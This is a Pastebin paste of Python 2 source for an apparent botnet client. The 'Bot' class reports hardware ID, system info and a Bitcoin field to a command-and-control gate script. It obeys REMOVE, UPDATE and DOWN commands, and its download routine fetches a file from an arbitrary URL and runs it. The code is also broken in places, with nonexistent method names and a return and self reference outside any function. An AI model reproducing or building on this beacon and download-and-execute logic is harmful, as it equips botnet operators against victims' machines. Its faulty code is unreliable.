Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 *-*
- import httplib
- import urllib
- import threading
- import time
- import hashlib
- import os
- class Bot():
- def __init__(self, version, country, windows, hwid, sysinfo, btc):
- self.version = version
- self.country = country
- self.windows = windows
- self.hwid = hwid
- self.sysinfo = sysinfo
- self.btc = btc
- self.connection = 0
- self.removed = False
- def down(self, url):
- '''Download and execute binary'''
- m = hashlib.md5()
- m.update(url)
- filename = m.hexdigest()
- urllib.urlretrieve(url, filename)
- os.system("python " + filename)
- def connect(self, logger):
- if self.connection == 0:
- logger("Bot %(hwid)s has started" % {'hwid': self.hwid})
- if self.removed:
- return
- #connect to the C2
- try:
- conn = httplib.HTTPConnection("127.0.0.1", timeout=5)
- params = urllib.urlencode({"version": self.version,
- "country": self.country,
- "windows": self.windows,
- "hwid": self.hwid,
- "sysinfo": self.sysinfo,
- "btc": self.btc,
- "connection": self.connection})
- conn.request("GET", "/gate2.php?" + params)
- response = conn.getresponse()
- data = response.read()
- if data != "":
- # Parse the data a bit
- data = data.replace('<\\\\\\>', '')
- if data == "REMOVE":
- self.removed = True
- logger("Bot %(hwid)s has uninstalled itself" % {
- 'hwid': self.hwid})
- if data.startsWith("UPDATE "):
- # Remove self and do the same process as DOWN
- self.removed = True
- self.DOWN(data[7:])
- if data.startsWith("DOWN "):
- self.DOWN(data[5:])
- self.connection = 1
- except:
- logger("Bot %(hwid)s has timed out when connecting to the C2" % {
- 'hwid': self.hwid})
- def Logger(message):
- pass
- bot = Bot("1c", "US", "Linux", "101", "8 6970", "all the btcs")
- while True:
- bot.connect(Logger)
- for i in range(0, 30):
- if self.exit:
- return
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment